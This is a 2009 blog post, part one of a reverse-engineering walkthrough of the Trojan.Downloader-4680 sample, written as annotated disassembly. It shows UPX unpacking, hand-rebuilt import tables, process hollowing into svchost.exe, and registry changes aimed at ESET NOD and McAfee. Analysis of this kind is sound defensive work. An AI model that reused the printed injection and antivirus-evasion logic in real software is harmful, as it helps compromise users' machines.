Friday, 6 November 2009

Trojan.Downloader-4680 - part 1


As a malware for my first analysis I decided to download Trojan.Downloader-4680 (MD5 b48301acf88fc593b1481f994d48d1e4 ) from offensivecomputing.net.

The binary is packed with UPX.
After the unpacking loop we arrive at
UPX1:15173C75  loc_15173C75:                           
UPX1:15173C75  mov     eax, [edi]
UPX1:15173C77  or      eax, eax
UPX1:15173C79  jz      short loc_15173CB7
UPX1:15173C7B  mov     ebx, [edi+4]
UPX1:15173C7E  lea     eax, [eax+esi+13058h]
UPX1:15173C85  add     ebx, esi
UPX1:15173C87  push    eax
UPX1:15173C88  add     edi, 8
UPX1:15173C8B  call    dword ptr [esi+13080h] ; call loadlibraryA
UPX1:15173C91  xchg    eax, ebp
UPX1:15173C92
UPX1:15173C92  loc_15173C92:                           
UPX1:15173C92  mov     al, [edi]
UPX1:15173C94  inc     edi
UPX1:15173C95  or      al, al
UPX1:15173C97  jz      short loc_15173C75
UPX1:15173C99  mov     ecx, edi
UPX1:15173C9B  push    edi
UPX1:15173C9C  dec     eax
UPX1:15173C9D  repne scasb
UPX1:15173C9F  push    ebp
UPX1:15173CA0  call    dword ptr [esi+13084h] ; call GetProcAddress
UPX1:15173CA6  or      eax, eax
UPX1:15173CA8  jz      short loc_15173CB1
UPX1:15173CAA  mov     [ebx], eax
UPX1:15173CAC  add     ebx, 4
UPX1:15173CAF  jmp     short loc_15173C92
UPX1:15173CB1 
UPX1:15173CB1
UPX1:15173CB1  loc_15173CB1:                           
UPX1:15173CB1  call    dword ptr [esi+13088h]
UPX1:15173CB7
UPX1:15173CB7  loc_15173CB7:                           
UPX1:15173CB7  popa
UPX1:15173CB8  jmp     loc_15161A93

Here the malware loads kernel32.dll and calls GetProcAddress for the following procedures:
- ExitProcess
- GetTmpFileName
- GetTickCount
- Sleep
- CreateThread

The malware then executes the jmp at 15173CB8.
The target of the jmp, after the unpacking loop (and after my analysis/renaming) looks like this:

UPX0:15161A93  loc_15161A93:                           
UPX0:15161A93  call    rebuild_import_tables
UPX0:15161A98  call    search_proc_by_hash1
UPX0:15161A9D  call    search_proc_by_hash2
UPX0:15161AA2  call    disable_McShield
UPX0:15161AA7  push    400h
UPX0:15161AAC  push    offset lpFileName
UPX0:15161AB1  push    0
UPX0:15161AB3  call    k32_GetModuleFileNameA
UPX0:15161AB9  mov     startupinfo.cb, 44h
UPX0:15161AC3  mov     startupinfo.dwFlags, 1
UPX0:15161ACD  mov     startupinfo.wShowWindow, 2
UPX0:15161AD6  push    offset aSvchost_exe             ; "svchost.exe "
UPX0:15161ADB  push    offset svchost_lstrcat          ; ""
UPX0:15161AE0  call    k32_lstrcat
UPX0:15161AE6  nop
UPX0:15161AE7  push    offset lpFileName
UPX0:15161AEC  push    offset svchost_lstrcat          ; ""
UPX0:15161AF1  call    k32_lstrcat
UPX0:15161AF7  push    offset lpPROCESS_INFORMATION
UPX0:15161AFC  push    offset startupinfo
UPX0:15161B01  push    0
UPX0:15161B03  push    0
UPX0:15161B05  push    4
UPX0:15161B07  push    0
UPX0:15161B09  push    0
UPX0:15161B0B  push    0
UPX0:15161B0D  push    offset svchost_lstrcat          ; ""
UPX0:15161B12  push    0
UPX0:15161B14  call    k32_CreateProcessA
UPX0:15161B1A  push    0
UPX0:15161B1C  call    k32_GetModuleHandleA
UPX0:15161B22  mov     moduleHandle, eax
UPX0:15161B27  mov     eax, moduleHandle
UPX0:15161B2C  lea     edi, [eax]
UPX0:15161B2E  add     edi, [edi+3Ch]
UPX0:15161B31  add     edi, 4
UPX0:15161B34  nop
UPX0:15161B35  add     edi, 14h
UPX0:15161B38  mov     eax, [edi+38h]
UPX0:15161B3B  push    eax
UPX0:15161B3C  pop     dword_15163C7C
UPX0:15161B42  push    40h
UPX0:15161B44  push    3000h
UPX0:15161B49  push    dword_15163C7C
UPX0:15161B4F  push    moduleHandle
UPX0:15161B55  push    lpPROCESS_INFORMATION.hProcess
UPX0:15161B5B  call    k32_kernel32_VirtualAllocEx
UPX0:15161B61  push    eax
UPX0:15161B62  pop     dword_15163C80
UPX0:15161B68  push    offset unk_15163C84
UPX0:15161B6D  push    dword_15163C7C
UPX0:15161B73  push    moduleHandle
UPX0:15161B79  push    dword_15163C80
UPX0:15161B7F  push    lpPROCESS_INFORMATION.hProcess
UPX0:15161B85  call    k32_WriteProcessMemory
UPX0:15161B8B  push    10007h
UPX0:15161B90  pop     dword_15163C8C
UPX0:15161B96  push    offset dword_15163C8C
UPX0:15161B9B  push    lpPROCESS_INFORMATION.hThread
UPX0:15161BA1  call    k32_GetThreadContext
UPX0:15161BA7  mov     dword_15163D44, offset byte_15161703
UPX0:15161BB1  push    offset dword_15163C8C
UPX0:15161BB6  push    lpPROCESS_INFORMATION.hThread
UPX0:15161BBC  call    k32_SetThreadContext
UPX0:15161BC2  push    lpPROCESS_INFORMATION.hThread
UPX0:15161BC8  call    k32_ResumeThread
UPX0:15161BCE  push    1F4h
UPX0:15161BD3  call    k32_Sleep
UPX0:15161BD9  push    0
UPX0:15161BDB  call    k32_ExitProcess
UPX0:15161BE1  push    0
UPX0:15161BE3  call    j_kernel32_ExitProcess

Let's look at what the function rebuild_import_tables does.
It starts by calling a function that sets eax to the start address of kernel32.dll :
UPX0:151618B7  rebuild_import_tables proc near 
UPX0:151618B7  call    set_eax_k32_start_offset
UPX0:151618BC  or      eax, eax
UPX0:151618BE  jnz     loc_15161995
UPX0:151618C4  retn
.....
UPX0:15161995  loc_15161995:                           
UPX0:15161995  push    eax
UPX0:15161996  pop     offset_begin_k32
UPX0:1516199C  xor     offset_begin_k32, 522h
UPX0:151619A6  call    j_kernel32_GetTickCount
UPX0:151619AB  push    offset lpThreadAttributes
UPX0:151619B0  push    0
UPX0:151619B2  push    0
UPX0:151619B4  push    offset thread_func1
UPX0:151619B9  push    0
UPX0:151619BB  push    0
UPX0:151619BD  call    j_kernel32_CreateThread
UPX0:151619C2  call    j_kernel32_GetTickCount
UPX0:151619C7  push    0C8h
UPX0:151619CC  call    j_kernel32_Sleep
UPX0:151619D1  push    offset k32_CloseHandle
UPX0:151619D6  push    dword ptr NUMBER_OF_ADDRESSES1
UPX0:151619DC  push    offset byte_151618C5
UPX0:151619E1  push    offset_begin_k32
UPX0:151619E7  call    rebuild_import_table

The important part of this code is the call to rebuild_import_table (the return values from the call to GetTickCount aren't used for anything that I am aware of, and the thread function just undoes the xor at 1516199C).
The rebuild_import_table will find the address of NUMBER_OF_ADDRESSES1 of the given dll (in this case kernel32) and start saving them at the address passed in the last parameter (in this case k32_CloseHandle). I haven't figured out what the second argument is.
The NUMBER_OF_ADDRESSES is an hardcoded value, and the return value (in EAX) is the number of addresses looked up. After the call these were the found addresses:

UPX0:15163B58    k32_CloseHandle dd offset kernel32_CloseHandle
UPX0:15163B5C    k32_CreateFileA dd offset kernel32_CreateFileA
UPX0:15163B60    k32_CreateProcessA dd offset kernel32_CreateProcessA
UPX0:15163B64    k32_DeleteFileA dd offset kernel32_DeleteFileA
UPX0:15163B68    k32_ExitProcess dd offset kernel32_ExitProcess
UPX0:15163B6C    k32_FreeConsole dd offset kernel32_FreeConsole
UPX0:15163B70    k32_GetCommandLineA dd offset kernel32_GetCommandLineA
UPX0:15163B74    k32_GetModuleFileNameA dd offset kernel32_GetModuleFileNameA
UPX0:15163B78    k32_GetModuleHandleA dd offset kernel32_GetModuleHandleA
UPX0:15163B7C    k32_GetTempPathA dd offset kernel32_GetTempPathA
UPX0:15163B80    k32_GetThreadContext dd offset kernel32_GetThreadContext
UPX0:15163B84    k32_LoadLibraryA dd offset kernel32_LoadLibraryA
UPX0:15163B88    k32_ResumeThread dd offset kernel32_ResumeThread
UPX0:15163B8C    k32_SetThreadContext dd offset kernel32_SetThreadContext
UPX0:15163B90    k32_Sleep dd offset kernel32_Sleep     
UPX0:15163B94    k32_kernel32_VirtualAllocEx dd offset kernel32_VirtualAllocEx
UPX0:15163B98    k32_WriteFile dd offset kernel32_WriteFile
UPX0:15163B9C    k32_WriteProcessMemory dd offset kernel32_WriteProcessMemory
UPX0:15163BA0    k32_lstrcat dd offset kernel32_lstrcat 
UPX0:15163BA4    k32_lstrcpy dd offset kernel32_lstrcpy 
UPX0:15163BA8    k32_readfile dd offset kernel32_ReadFile
UPX0:15163BAC    k32_OpenProcess dd offset kernel32_OpenProcess
UPX0:15163BB0    k32_TerminateProcess dd offset kernel32_TerminateProcess
UPX0:15163BB4    k32_lstrcpyn dd offset kernel32_lstrcpyn
UPX0:15163BB8    k32_lstrlen dd offset kernel32_lstrlen 
UPX0:15163BBC    k32_lstrcmpi dd offset kernel32_lstrcmpi
UPX0:15163BC0    k32_GetProcAddress dd offset kernel32_GetProcAddress
UPX0:15163BC4    k32_GlobalAlloc dd offset kernel32_GlobalAlloc
UPX0:15163BC8    k32_GlobalFree dd offset kernel32_GlobalFree
UPX0:15163BCC    k32_CreateToolhelp32Snapshot dd offset kernel32_CreateToolhelp32Snapshot
UPX0:15163BD0    k32_Process32First dd offset kernel32_Process32First
UPX0:15163BD4    k32_Process32Next dd offset kernel32_Process32Next
UPX0:15163BD8    k32_DuplicateHandle dd offset kernel32_DuplicateHandle
UPX0:15163BDC    k32_GetCurrentProcessId dd offset kernel32_GetCurrentProcessId
UPX0:15163BE0    k32_CreateThread dd offset kernel32_CreateThread

Afterward we have a similiar process (this time to advapi.dll):

UPX0:151619F5  loc_151619F5:
UPX0:151619F5  push    offset aAdvapi32_dll
UPX0:151619FA  pop     eax
UPX0:151619FB  push    521h
UPX0:15161A00  pop     ecx
UPX0:15161A01  xor     [eax], ecx
UPX0:15161A03  push    offset lpThreadAttributes
UPX0:15161A08  push    0
UPX0:15161A0A  push    0
UPX0:15161A0C  push    offset thread_func2
UPX0:15161A11  push    0
UPX0:15161A13  push    0
UPX0:15161A13  rebuild_import_tables endp
UPX0:15161A15  call    k32_CreateThread
UPX0:15161A1B  push    0FAh
UPX0:15161A20  call    k32_Sleep
UPX0:15161A26  push    offset aAdvapi32_dll            ; "advapi32.dll"
UPX0:15161A2B  call    k32_LoadLibraryA
UPX0:15161A31  or      eax, eax
UPX0:15161A33  jz      short locret_15161A5B
UPX0:15161A35  mov     offset_begin_advapi32, eax
UPX0:15161A3A  push    offset advapi_AdjustTokenPrivileges
UPX0:15161A3F  push    NUMBER_OF_ADDRESSES2
UPX0:15161A45  push    offset byte_15161955
UPX0:15161A4A  push    eax
UPX0:15161A4B  call    rebuild_import_table
UPX0:15161A50  cmp     eax, NUMBER_OF_ADDRESSES2
UPX0:15161A56  jz      short loc_15161A5C
UPX0:15161A58  retn

as a result of this call to rebuild_import_table the following addresses were looked up:

UPX0:15163BE8  advapi_AdjustTokenPrivileges dd offset advapi32_AdjustTokenPrivileges
UPX0:15163BEC  advapi_LookupPrivilegeValueA dd offset advapi32_LookupPrivilegeValueA
UPX0:15163BF0  advapi_OpenProcessToken dd offset advapi32_OpenProcessToken
UPX0:15163BF4  advapi_RegCreateKeyA dd offset advapi32_RegCreateKeyA
UPX0:15163BF8  advapi_RegEnumKeyExA dd offset advapi32_RegEnumKeyExA
UPX0:15163BFC  advapi_RegOpenKeyExA dd offset advapi32_RegOpenKeyExA
UPX0:15163C00  advapi_RegQueryValueExA dd offset advapi32_RegQueryValueExA
UPX0:15163C04  advapi_RegSetValueExA dd offset advapi32_RegSetValueExA
UPX0:15163C08  advapi_CloseServiceHandle dd offset advapi32_CloseServiceHandle
UPX0:15163C0C  advapi_ControlService dd offset advapi32_ControlService
UPX0:15163C10  advapi_DeleteService dd offset advapi32_DeleteService
UPX0:15163C14  advapi_OpenSCManagerA dd offset advapi32_OpenSCManagerA
UPX0:15163C18  advapi_OpenServiceA dd offset advapi32_OpenServiceA

the jz is taken and we proceed to:

UPX0:15161A5C  loc_15161A5C:                           
UPX0:15161A5C  push    offset aUrlmon_dll              ; "urlmon.dll"
UPX0:15161A61  call    k32_LoadLibraryA
UPX0:15161A67  or      eax, eax
UPX0:15161A69  jz      short near ptr unk_15161A91
UPX0:15161A6B  mov     offset_begin_urlmon, eax
UPX0:15161A70  push    offset urlmon_dll_URLDownloadToFileA
UPX0:15161A75  push    NUMBER_OF_ADDRESSES3
UPX0:15161A7B  push    offset byte_1516198D
UPX0:15161A80  push    eax
UPX0:15161A81  call    rebuild_import_table
UPX0:15161A86  cmp     eax, NUMBER_OF_ADDRESSES3
UPX0:15161A8C  jz      short near ptr unk_15161A92

and the function looked up by rebuild_import_table is
UPX0:15163C20  urlmon_dll_URLDownloadToFileA dd offset urlmon_URLDownloadToFileA

Again the jz is taken and the instruction at the target address is:

UPX0:15161A92  locret_15161A92:
UPX0:15161A92  retn

So the execution returns to
UPX0:15161A98  call    search_proc_by_hash1
(the function following the call to rebuild_import_tables)

This is what the function looks like:
UPX0:151615F4  search_proc_by_hash1 proc near          
UPX0:151615F4  push    process_name_hash1
UPX0:151615FA  call    search_process
UPX0:151615FF  cmp     eax, 0
UPX0:15161602  jbe     locret_151616C5
UPX0:15161608  push    eax
UPX0:15161609  pop     dword_15163B45
UPX0:1516160F  push    offset registryKeyHandle
UPX0:15161614  push    offset aSoftwareEsetNo          ; "SOFTWARE\\Eset\\Nod\\CurrentVersion\\Module"...
UPX0:15161619  push    80000002h
UPX0:1516161E  call    advapi_RegCreateKeyA
UPX0:15161624  push    0B8h
UPX0:15161629  push    offset a2                       ; "2"
UPX0:1516162E  push    3
UPX0:15161630  push    0
UPX0:15161632  push    offset aExc                     ; "exc"
UPX0:15161637  push    registryKeyHandle
UPX0:1516163D  call    advapi_RegSetValueExA
UPX0:15161643  or      eax, eax
UPX0:15161645  jnz     short locret_151616C5
UPX0:15161647  push    3
UPX0:15161649  pop     dword_15163B41
UPX0:1516164F  push    4
UPX0:15161651  push    offset dword_15163B41
UPX0:15161656  push    4
UPX0:15161658  push    0
UPX0:1516165A  push    offset aExc_num                 ; "exc_num"
UPX0:1516165F  push    registryKeyHandle
UPX0:15161665  call    advapi_RegSetValueExA
UPX0:1516166B  push    registryKeyHandle
UPX0:15161671  call    k32_CloseHandle
UPX0:15161677  push    dword_15163B45
UPX0:1516167D  push    0
UPX0:1516167F  push    1
UPX0:15161681  mov     ecx, k32_OpenProcess
UPX0:15161687  push    ecx
UPX0:15161688  pop     dword_15163B49
UPX0:1516168E  push    0
UPX0:15161690  pop     dword_15163B4D
UPX0:15161696  push    offset registryKeyHandle
UPX0:1516169B  push    0
UPX0:1516169D  push    0
UPX0:1516169F  push    offset thread_func3
UPX0:151616A4  push    0
UPX0:151616A6  push    0
UPX0:151616A8  call    k32_CreateThread
UPX0:151616AE  push    78h
UPX0:151616B0  call    k32_Sleep
UPX0:151616B6  call    dword_15163B4D
UPX0:151616BC  push    1
UPX0:151616BE  push    eax
UPX0:151616BF  call    k32_TerminateProcess
UPX0:151616C5  locret_151616C5:                        
UPX0:151616C5  retn
UPX0:151616C5  search_proc_by_hash1 endp

We can see that there is a push of an argument and a call to search_process

UPX0:1516121D  search_process proc near                
UPX0:1516121D  push    ebp                             
UPX0:1516121E  mov     ebp, esp
UPX0:15161220  push    0
UPX0:15161222  push    TH32CS_SNAPPROCESS
UPX0:15161224  call    k32_CreateToolhelp32Snapshot
UPX0:1516122A  cmp     eax, 0FFFFFFFFh
UPX0:1516122D  jz      short locret_1516129E
UPX0:1516122F  push    eax
UPX0:15161230  pop     snapShotHandle
UPX0:15161236  mov     LPPROCESSENTRY32, 128h
UPX0:15161240  push    offset LPPROCESSENTRY32
UPX0:15161245  push    snapShotHandle
UPX0:1516124B  call    k32_Process32First
UPX0:15161251  cmp     eax, 1
UPX0:15161254  jnz     short locret_1516129E
UPX0:15161256
UPX0:15161256  loc_15161256:                           
UPX0:15161256  push    offset ProcessName              ; ""
UPX0:1516125B  call    GenHash
UPX0:15161260  cmp     eax, [ebp+8]
UPX0:15161263  jnz     short loc_1516127A
UPX0:15161265  push    snapShotHandle
UPX0:1516126B  call    k32_CloseHandle
UPX0:15161271  push    dword_15163351
UPX0:15161277  pop     eax
UPX0:15161278  jmp     short locret_1516129E
UPX0:1516127A  loc_1516127A:                            
UPX0:1516127A  push    offset LPPROCESSENTRY32
UPX0:1516127F  push    snapShotHandle
UPX0:15161285  call    k32_Process32Next
UPX0:1516128B  or      eax, eax
UPX0:1516128D  jnz     short loc_15161256
UPX0:1516128F  push    snapShotHandle
UPX0:15161295  call    k32_CloseHandle
UPX0:1516129B  push    0
UPX0:1516129D  pop     eax
UPX0:1516129E
UPX0:1516129E  locret_1516129E:                        
UPX0:1516129E                                          
UPX0:1516129E  leave
UPX0:1516129F  retn    4
UPX0:1516129F  search_process endp

This function takes a snapshot of all running processes, creates a hash of the process name and compares it to the argument. I don't know the name that would result in the given hash is, although I'm guessing it has something to do with eset nod anti-virus (which I don't have running in this machine).

As the return value of the call to search_process EAX holds 0 so the jump at 15161602 is taken (and the process returns).

I will continue with my analysis in a future post.

No comments:

Post a Comment